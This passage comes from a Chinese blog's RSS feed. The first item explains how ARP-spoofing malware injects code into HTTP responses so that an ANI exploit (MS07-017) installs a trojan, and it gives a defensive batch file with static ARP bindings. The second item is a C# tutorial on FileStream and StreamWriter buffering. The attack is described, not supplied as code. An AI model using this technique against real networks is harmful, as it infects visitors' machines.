病毒会对所有的数据包进行分析，过滤出HTTP应答包，并在包里面插入一段代码，使用户看到的网页最前面被插入以上代码，该网页会利用ANI漏洞(MS07-017)下载并运行木马程序，建议用户及时补上计算机上已知的漏洞。&lt;/p&gt;&lt;p&gt;注：&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 利用ARP欺骗挂木马并没有真正的修改网页服务器上的页面内容，它是在数据包传输中非法修改里面的数据，强行插入病毒代码，而且影响范围相当的广，若一个空间服务商的一台服务器中毒，就会使得该服务器所在的网段的传输的数据包都被修改，很可能会影响到数以百计的网站空间。而且寻找ARP欺骗的源头并不容易查出，所以这种攻击方式具有极大的危害性。建议网络管理员使用静态的路由表来管理网络的MAC与IP地址。&lt;br /&gt;---------------------------------------------&lt;br /&gt;现在知道了解决办法：&lt;/p&gt;&lt;p&gt;设置静态网关和局域网内机器的IP及MAC地址绑定，我做了一个Bat文件，如下：&lt;/p&gt;&lt;p&gt;Anti-ARP.bat&lt;br /&gt;arp -d&lt;br /&gt;arp -s 192.168.0.1 00-01-02-03-04-35&lt;br /&gt;arp -s 192.168.0.2 00-11-0a-11-23-45&lt;br /&gt;arp -a&lt;br /&gt;&lt;/p&gt;</description>
		<guid>http://blog.0734link.com/Article/669.aspx</guid>
		<trackback:ping>http://blog.0734link.com/Article/669/Trackback.ashx</trackback:ping>
		<comments>http://blog.0734link.com/Article/669.aspx#CommentPostAnchor</comments>
		<wfw:commentRss>http://blog.0734link.com/Article/669/Feeds.ashx</wfw:commentRss>
	</item>
	<item>
		<link>http://blog.0734link.com/Article/668.aspx</link>
		<title>C#IO文件读写和流</title>
		<author>329084470@qq.com(ceiling)</author>
		<category>DotNet框架</category>
		<pubDate>Wed, 02 Mar 2011 16:18:04 GMT</pubDate>
		<description>&lt;p&gt;一 流的概念&lt;br /&gt;在.NET中Stream 是所有流的抽象基类。流是字节序列的抽象概念，或者说是计算机在处理文件或数据时产生的二进制序列。例如文件、输入/输出设备、内部进程通信管道或者 TCP/IP 套接字。Stream 类及其派生类提供这些不同类型的输入和输出的一般视图，使程序员不必了解操作&lt;span class=&quot;t_tag&quot; onclick=&quot;tagshow(event)&quot; href=&quot;tag.php?name=%CF%B5%CD%B3&quot;&gt;系统&lt;/span&gt;和基础设备的具体细节。简单的说流提供了不同介质之间的数据交互&lt;span class=&quot;t_tag&quot; onclick=&quot;tagshow(event)&quot; href=&quot;tag.php?name=%B9%A6%C4%DC&quot;&gt;功能&lt;/span&gt;。&lt;br /&gt;&lt;br /&gt;在.NET中常用的流有BufferedStream 、FileStream、MemoryStream&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;和NetworkStream，他们都是位于System.IO和System.Net命名&lt;span class=&quot;t_tag&quot; onclick=&quot;tagshow(event)&quot; href=&quot;tag.php?name=%BF%D5%BC%E4&quot;&gt;空间&lt;/span&gt;下。流涉及三个基本操作： 读取，写入和查找。根据基础数据源或储存库，流可能只支持这些功能中的一部分。有些流实现执行基础数据的本地缓冲以提高性能。对于这样的流，Flush 方法可用于清除所有内部缓冲区并确保将所有数据写入基础数据源或储存库。&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;二 文件读写&lt;br /&gt;对于文件的读写，实际是把&lt;span class=&quot;t_tag&quot; onclick=&quot;tagshow(event)&quot; href=&quot;tag.php?name=%D3%B2%C5%CC&quot;&gt;硬盘&lt;/span&gt;中的数据读入&lt;span class=&quot;t_tag&quot; onclick=&quot;tagshow(event)&quot; href=&quot;tag.php?name=%C4%DA%B4%E6&quot;&gt;内存&lt;/span&gt;和把内存的数据写入硬盘，他们数据之间的交换就是通过流来完成的。在.NET中这个功能是由FileStream类完成的。他提供的Write和Read方法可以对文件进行读写操作。&lt;br /&gt;&lt;br /&gt;1：FileStream读写文件&lt;br /&gt;使用 FileStream 类对文件系统上的文件进行读取、写入、打开和关闭操作，并对其他与文件相关的操作系统句柄进行操作，如管道、标准输入和标准输出。读写操作可以指定为同步或异步操作。FileStream 对输入输出进行缓冲，从而提高性能。&lt;br /&gt;&lt;br /&gt;view plaincopy to clipboardprint?&lt;br /&gt;static void Main(string[] args)&amp;nbsp; &amp;nbsp;&lt;br /&gt;{&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp; try&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp; {&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;FileStream fs = new FileStream(@&amp;quot;c:\text.txt&amp;quot;, FileMode.Create);&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;string message = &amp;quot;This is example for filestream&amp;quot;;&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;byte[] writeMesaage = Encoding.UTF8.GetBytes(message);&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;fs.Write(writeMesaage, 0, writeMesaage.Length);&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp; }&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp; catch (Exception ex)&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp; {&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;Console.WriteLine(ex.Message);&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp; }&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp; finally&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp; {&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;Console.ReadKey();&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp; }&amp;nbsp; &amp;nbsp;&lt;br /&gt;}&amp;nbsp;&amp;nbsp;&lt;br /&gt;static void Main(string[] args)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp; &amp;nbsp; try&lt;br /&gt;&amp;nbsp; &amp;nbsp; {&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;FileStream fs = new FileStream(@&amp;quot;c:\text.txt&amp;quot;, FileMode.Create);&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;string message = &amp;quot;This is example for filestream&amp;quot;;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;byte[] writeMesaage = Encoding.UTF8.GetBytes(message);&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;fs.Write(writeMesaage, 0, writeMesaage.Length);&lt;br /&gt;&amp;nbsp; &amp;nbsp; }&lt;br /&gt;&amp;nbsp; &amp;nbsp; catch (Exception ex)&lt;br /&gt;&amp;nbsp; &amp;nbsp; {&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;Console.WriteLine(ex.Message);&lt;br /&gt;&amp;nbsp; &amp;nbsp; }&lt;br /&gt;&amp;nbsp; &amp;nbsp; finally&lt;br /&gt;&amp;nbsp; &amp;nbsp; {&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;Console.ReadKey();&lt;br /&gt;&amp;nbsp; &amp;nbsp; }&lt;br /&gt;} &lt;br /&gt;&lt;br /&gt;上面是一个简单的例子，把一条字符串写入到文件中。首先建立一个FileStream对象，指定文件和读写方式（具体读写方式和权限可以参加MSDN）。接下来把要写入的字符串以一定的编码格式存入一个字节数组中，然后调用Writer方法写入文件。运行程序，当程序执行到Console.ReadKey方法时去查看文件发现文件中内容是空的。也就是说调用Writer方法后内容并没有被写入到文件中。&lt;br /&gt;&lt;br /&gt;这里就要谈到流中的缓冲区的问题了。缓冲区是为了提高I/O效率而设置的，我们知道读写的I/O操作是很费时的，如果每一个字节都马上写入到文件中整个过程就会很慢，所以设置缓冲区，写把要写入的内容写入到缓冲区中，然后在一次性写入到文件中，来提高写入的效率和速度。而Write方法实际上只是把数据写入到流的缓冲区中，而不是真正的写入到文件中。所以调用Writer方法并不能完成文件的写入。于是FileStream对象提供了一个把缓冲区写入文件的方法，那就是Flush方法。&lt;br /&gt;&lt;br /&gt;Flush：清除该流的所有缓冲区会使得所有缓冲的数据都将写入到文件系统。这是MSDN给出的定义，可以看到，只有调用了Flush方法后数据才会被真正的写入到文件中。所以这里就又另外一个问题，那就是可能存在写入失败。比如上面在Writer方法结束后发生了异常，那么数据就无法写入到文件中了。所以我们在调用Writer方法后可以显式的调用Flush方法来把数据写入到文件中。但是上面的方法结束后又会发现数据被写入了。其实这是因为在程序结束时，销毁FileStream对象时，系统自动调用了Flush方法来保证内容被写入到文件中。而在FileStream对象中，很多地方都调用了这个方法，比如Close方法和Dispose方法。所以在程序中，调用这2个方法销毁对象时也会把数据从缓冲区写入文件。所以使用FileStream对象Writer方法后只要不抛出异常，缓冲区数据总会被写入文件（当然也可能因为磁盘已满而在写入是抛出异常）。但是我们最好还是显示的调用Close方法或使用using块关闭对象，使数据写入。或是调用Flush方法。Flush方法内部调用API的internal static extern unsafe int WriteFile方法实现文件写入。&lt;br /&gt;&lt;br /&gt;对于读取文件内容也是类似的，要先把数据读取到字节数组中。而且还提供了BeginRead和BeginWrite方法进行异步读写操作。&lt;br /&gt;&lt;br /&gt;2 StreamWriter写文件&lt;br /&gt;上面的FileStream操作文件读写，每次都需要使用字节数组，因为FileStream操作对象是字节。而.NET提供了StreamWriter和StreamReader对象来对流进行读写操作。&lt;br /&gt;&lt;br /&gt;他的构造函数可以接受一个Stream对象。从而对流进行操作。他们的内部有个一Stream对象来维护传入的各种流对象。并且也提供了Write和Read方法。实际上这2个类是对流读写的的一个包装，方便我们使用。当我们传一个流对象时，调用读写方法是，实际调用该对象自己重写的方法。而当我们在构造函数中传入的是文件路径时，他就成为了对文件读写的操作。因为他在内部构建了一个FileStream对象，并交给内部的Stream对象维护。&lt;br /&gt;&lt;br /&gt;view plaincopy to clipboardprint?&lt;br /&gt;public StreamWriter(string path) : this(path, false, UTF8NoBOM, 0x400)&amp;nbsp; &amp;nbsp;&lt;br /&gt;{&amp;nbsp; &amp;nbsp;&lt;br /&gt;}&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &lt;br /&gt;public StreamWriter(string path, bool append, Encoding encoding, int bufferSize) : base(null)&amp;nbsp; &amp;nbsp;&lt;br /&gt;{&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp; if ((path == null) || (encoding == null))&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp; {&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;throw new ArgumentNullException((path == null) ? &amp;quot;path&amp;quot; : &amp;quot;encoding&amp;quot;);&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp; }&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp; if (bufferSize &amp;lt;= 0)&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp; {&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;throw new ArgumentOutOfRangeException(&amp;quot;bufferSize&amp;quot;, Environment.GetResourceString(&amp;quot;ArgumentOutOfRange_NeedPosNum&amp;quot;));&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp; }&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp; Stream stream = CreateFile(path, append);&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp; this.Init(stream, encoding, bufferSize);&amp;nbsp; &amp;nbsp;&lt;br /&gt;}&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;br /&gt;private static Stream CreateFile(string path, bool append)&amp;nbsp; &amp;nbsp;&lt;br /&gt;{&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp; return new FileStream(path, append ? FileMode.Append : FileMode.Create, FileAccess.Write, FileShare.Read, 0x1000, FileOptions.SequentialScan);&amp;nbsp; &amp;nbsp;&lt;br /&gt;}&amp;nbsp;&amp;nbsp;&lt;br /&gt;public StreamWriter(string path) : this(path, false, UTF8NoBOM, 0x400)&lt;br /&gt;{&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;public StreamWriter(string path, bool append, Encoding encoding, int bufferSize) : base(null)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp; &amp;nbsp; if ((path == null) || (encoding == null))&lt;br /&gt;&amp;nbsp; &amp;nbsp; {&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;throw new ArgumentNullException((path == null) ? &amp;quot;path&amp;quot; : &amp;quot;encoding&amp;quot;);&lt;br /&gt;&amp;nbsp; &amp;nbsp; }&lt;br /&gt;&amp;nbsp; &amp;nbsp; if (bufferSize &amp;lt;= 0)&lt;br /&gt;&amp;nbsp; &amp;nbsp; {&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;throw new ArgumentOutOfRangeException(&amp;quot;bufferSize&amp;quot;, Environment.GetResourceString(&amp;quot;ArgumentOutOfRange_NeedPosNum&amp;quot;));&lt;br /&gt;&amp;nbsp; &amp;nbsp; }&lt;br /&gt;&amp;nbsp; &amp;nbsp; Stream stream = CreateFile(path, append);&lt;br /&gt;&amp;nbsp; &amp;nbsp; this.Init(stream, encoding, bufferSize);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;private static Stream CreateFile(string path, bool append)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp; &amp;nbsp; return new FileStream(path, append ? FileMode.Append : FileMode.Create, FileAccess.Write, FileShare.Read, 0x1000, FileOptions.SequentialScan);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;通过上面的&lt;span class=&quot;t_tag&quot; onclick=&quot;tagshow(event)&quot; href=&quot;tag.php?name=%B4%FA%C2%EB&quot;&gt;代码&lt;/span&gt;，可以看到我们使用 public StreamWriter(string path)构造方法和我们自己新建一个FileStream对象传递给StreamWriter(Stream)构造方法是一样的。不同的是后者还可对其他继承与Stream的流进行操作。而且可以指定文件读取的方式和访问权限以及缓冲区大小。&lt;br /&gt;&lt;br /&gt;view plaincopy to clipboardprint?&lt;br /&gt;static void Main(string[] args)&amp;nbsp; &amp;nbsp;&lt;br /&gt;{&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp; try&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp; {&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;StreamWriter sw = new StreamWriter(@&amp;quot;c:\text.txt&amp;quot;);&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;sw.Write(&amp;quot;This is StreamWriter&amp;quot;);&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp; }&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp; catch (Exception ex)&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp; {&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;Console.WriteLine(ex.Message);&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp; }&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp; finally&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp; {&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;Console.ReadKey();&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp; }&amp;nbsp; &amp;nbsp;&lt;br /&gt;}&amp;nbsp;&amp;nbsp;&lt;br /&gt;static void Main(string[] args)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp; &amp;nbsp; try&lt;br /&gt;&amp;nbsp; &amp;nbsp; {&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;StreamWriter sw = new StreamWriter(@&amp;quot;c:\text.txt&amp;quot;);&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;sw.Write(&amp;quot;This is StreamWriter&amp;quot;);&lt;br /&gt;&amp;nbsp; &amp;nbsp; }&lt;br /&gt;&amp;nbsp; &amp;nbsp; catch (Exception ex)&lt;br /&gt;&amp;nbsp; &amp;nbsp; {&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;Console.WriteLine(ex.Message);&lt;br /&gt;&amp;nbsp; &amp;nbsp; }&lt;br /&gt;&amp;nbsp; &amp;nbsp; finally&lt;br /&gt;&amp;nbsp; &amp;nbsp; {&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;Console.ReadKey();&lt;br /&gt;&amp;nbsp; &amp;nbsp; }&lt;br /&gt;} &lt;br /&gt;&lt;br /&gt;上面的代码是使用StreamWriter对文件进行写操作，当执行到ReadKey时，我们发现文件没有被写入，这个和FileStream是一样的，但是当程序执行完后我们发现，数据还是没有被写入。如果我们写入的数据量比较大时，数据也被写入到文件中，但是会发现写入的数据可能并不完整。因为只有当StreamWriter内部的缓冲区充满或调用Flush时，才会把数据写入Stream对象中。StreamWriter 未将最后 1 至 4 KB 数据写到文件。后面会具体解释。&lt;br /&gt;&lt;br /&gt;MSDN中对此的解释是：&lt;br /&gt;&lt;br /&gt;StreamWriter 在内部缓冲数据，这需要调用 Close 或 Flush 方法将缓冲数据写到基础数据存储区。如果没有适当地调用 Close 或 Flush，StreamWriter 实例中缓冲的数据可能不会按预期写出。&lt;br /&gt;&lt;br /&gt;在StreamWriter中也有Flush方法，清理当前编写器的所有缓冲区，并使所有缓冲数据写入基础流。对于StreamWriter来说，也有自己的缓冲区，而不同的是StreamWriter缓冲区是char[]而不是byte[]。而StreamWriter的write方法只是把数据写入到自己的缓冲区中，所以我们必须条用Flush方法来写入到文件中，而Flush方法中则是先调用了FileStream的write方法把StreamWriter缓冲区的数据写入到FileStream的缓冲区中，最后在调用FileStream的Flush方法写入文件。&lt;br /&gt;&lt;br /&gt;view plaincopy to clipboardprint?&lt;br /&gt;//StreamWriter.write把数据写入StreamWriter缓冲区中&amp;nbsp; &amp;nbsp;&lt;br /&gt;public override void Write(string value)&amp;nbsp; &amp;nbsp;&lt;br /&gt;{&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp; if (value != null)&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp; {&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;int length = value.Length;&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;int sourceIndex = 0;&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;while (length &amp;gt; 0)&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;{&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;if (this.charPos == this.charLen)&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;{&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp; this.Flush(false, false);&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;}&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;int count = this.charLen - this.charPos;&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;if (count &amp;gt; length)&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;{&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp; count = length;&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;}&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;value.CopyTo(sourceIndex, this.charBuffer, this.charPos, count);&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;this.charPos += count;&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;sourceIndex += count;&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;length -= count;&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;if (this.autoFlush)&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;{&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;this.Flush(true, false);&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp; }&amp;nbsp; &amp;nbsp;&lt;br /&gt;}&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;br /&gt;//StreamWriter.Flush把StreamWriter缓冲区内容写入Stream的缓冲区&amp;nbsp; &amp;nbsp;&lt;br /&gt;private void Flush(bool flushStream, bool flushEncoder)&amp;nbsp; &amp;nbsp;&lt;br /&gt;{&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp; if (this.stream == null)&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp; {&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;__Error.WriterClosed();&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp; }&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp; if (((this.charPos != 0) || flushStream) || flushEncoder)&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp; {&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;if (!this.haveWrittenPreamble)&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;{&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;this.haveWrittenPreamble = true;&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;byte[] preamble = this.encoding.GetPreamble();&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;if (preamble.Length &amp;gt; 0)&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;{&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp; this.stream.Write(preamble, 0, preamble.Length);&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;}&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;int count = this.encoder.GetBytes(this.charBuffer, 0, this.charPos, this.byteBuffer, 0, flushEncoder);&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;this.charPos = 0;&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;if (count &amp;gt; 0)&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;{&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;this.stream.Write(this.byteBuffer, 0, count);&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;if (flushStream)&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;{&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; 